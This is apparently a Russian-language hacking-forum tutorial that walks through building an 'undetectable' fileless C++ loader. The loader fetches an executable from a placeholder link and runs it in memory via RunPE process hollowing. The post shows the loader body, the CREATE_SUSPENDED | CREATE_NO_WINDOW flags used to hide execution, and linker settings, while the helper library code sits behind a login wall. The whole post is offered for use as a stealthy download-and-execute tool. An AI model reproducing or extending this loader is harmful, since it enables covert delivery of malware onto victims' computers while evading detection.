c0dpro
Много эникейщиков развелось последнее время, но так как я тут батя и ремнем по жопе дам, мы будем делать ТОПОВЫЙ АНДЕТЕКТ ЛОАДЕР ЗА ПОСЛЕДНИЙ ГУГОЛИОН ЛЕТ!!!!!!!! *на си плюс плюс
ДЕЛАЕМ НЕРЕЗИДЕНТЫЙ ЛОАДЕР БЕЗ СМС И ДРОПОВ НА ДИСК(ТРУ)
1. Итак, первым делом нужно создать проект и назвать его что-то типо этого..
*далее ЮМЛ
2. Нам нужно создать документ куда мы будем писать наше тело лоадера..
ДЕЛАЕМ НЕРЕЗИДЕНТЫЙ ЛОАДЕР БЕЗ СМС И ДРОПОВ НА ДИСК(ТРУ)
1. Итак, первым делом нужно создать проект и назвать его что-то типо этого..
*далее ЮМЛ
2. Нам нужно создать документ куда мы будем писать наше тело лоадера..
3. Теперь необходимо прописать точку входа и наши хэдэры…(СУКА, НЕ ЮЗАЙТЕ ПРЕДКОМПИЛ ЗАГОЛОВКИ)
Юзать мы будем кусочек моей библиотеки, в которой уже все сделано за нас. Конкретно мы будем юзать RunPE и GetFile.
Создаем файл заголовка и пихуем туда вот это(COPY-PASTE):
Код:
Вам необходимо выполнить
Вход
либо
Регистрация
для просмотра содержимого!
Здесь мы создали определения для наших будущих двух фунок это RunPE и GetFile().
Также, мы заранее указали либу и заголовок для функции Getfile().
Сейчас нам необходимо создать еще один файл C++ и прописать туда наши функции:
Код:
Вам необходимо выполнить
Вход
либо
Регистрация
для просмотра содержимого!
Теперь мы можем работать дальше..
4. Пишем тело нашего лоадера.. Здесь мы будем использовать две функции выше, мы загрузим файл с помощью функции Getfile(), а с помощью функции RunPE() мы запустим его в памяти..
Делаем обертку или тело…
Первым делом нам нужно указать статические ссылки на наши функции..
Internet inet;
System sys;
System sys;
Затем нам нужно в переменной char* нам нужно вызвать нашу функцию Getfile().
char* File = inet.GetFile("LINK TO UR X86 EXECUTABLE");
Теперь в переменной File у нас хранится наш файл. Теперь нам необходимо сделать запуск нашего файла через функцию RunPE.
sys.RunPortableExecutable(File);
Готово! Вы сделали НАСТОЯЩИЙ ЛОАДЕР, А НЕ ДРОПЕР ФАЙЛОВ.
Проверяем работу..
5. Теперь сделаем чуточку красивее и уберем нашу консольку, а также уберем это окно, дабы на всякий случай не палица))0
Первым делом нам нужно отправится в настройки проекта, а точнее в раздел компоновщика и еще точнее в пункт System/Система. Тут нам нужен раздел подсистема. Тыкаем. Находим пункт Windows (/SUBS..:WINDOWS). Закрываем, проверяем..
Ага, ошибка..
Компилятор из-за смененной субсистемы запуска не может определить точку входа, тогда мы ее зададим насильно.. Идем опять в настройки компоновщика и открываем пункт “Командная строка” или “Command Line” и пишем туда следующую вещь:
/entry:mainCRTStartup
Этой поелдобиной мы насильно зададим точку входа для нашего приложения.. Закрываем, проверяем..
Ошибок при компиляции нету, окна консоли тоже нету. Теперь нам нужно убрать вот это самое окно, само собой вы сейчас будете делать это по желанию. Идем в нашу функцию RunPE и находим строчку где мы создаем процесс:
*CreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &SI, &PI));
Здесь имеется флаг запуска приложения, это CREATE_SUSPENDED.
Нам необходимо сюда же добавить флаг CREATE_NO_WINDOW. Как это сделать? – Это можно сделать с помощью вертикального слеша или прсто |. Делаем..
CreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, &SI, &PI));
PROFIT! Теперь у нас все скрыто и нихера не видно, вы молодец? – Я молодец.
6. Это еще не все, казалось бы, код закончен куда идти дальше? – Есть куда еще. Нам необходимо задать библиотеку времени выполнения.
Идем в настройки проекта и находим раздел “C/C++”, тут нам нужен подраздел “Создание кода”, а в нем уже пункт “Библиотека времени выполнения”. По дэфолту вижуал ставит библу в положение /MD, тем самым, для запуска нашего приложения потребуется ДИ ЭЛЬ ЭЛЬКА от вижуала. Это не классно. Тыкаем и находим пункт с /MT, ставим.
Вот теперь все, дальше с настройками играйтесь сами.)
Что мы имеем на выходе? – Мы имеем самый пиздатый лоадер эвер который все запускает в памяти да еще и весит пиздец как мало для /MT. 78кб.
Исходники на гитхабе:
Вам необходимо выполнить
Вход
либо
Регистрация
для просмотра ссылок!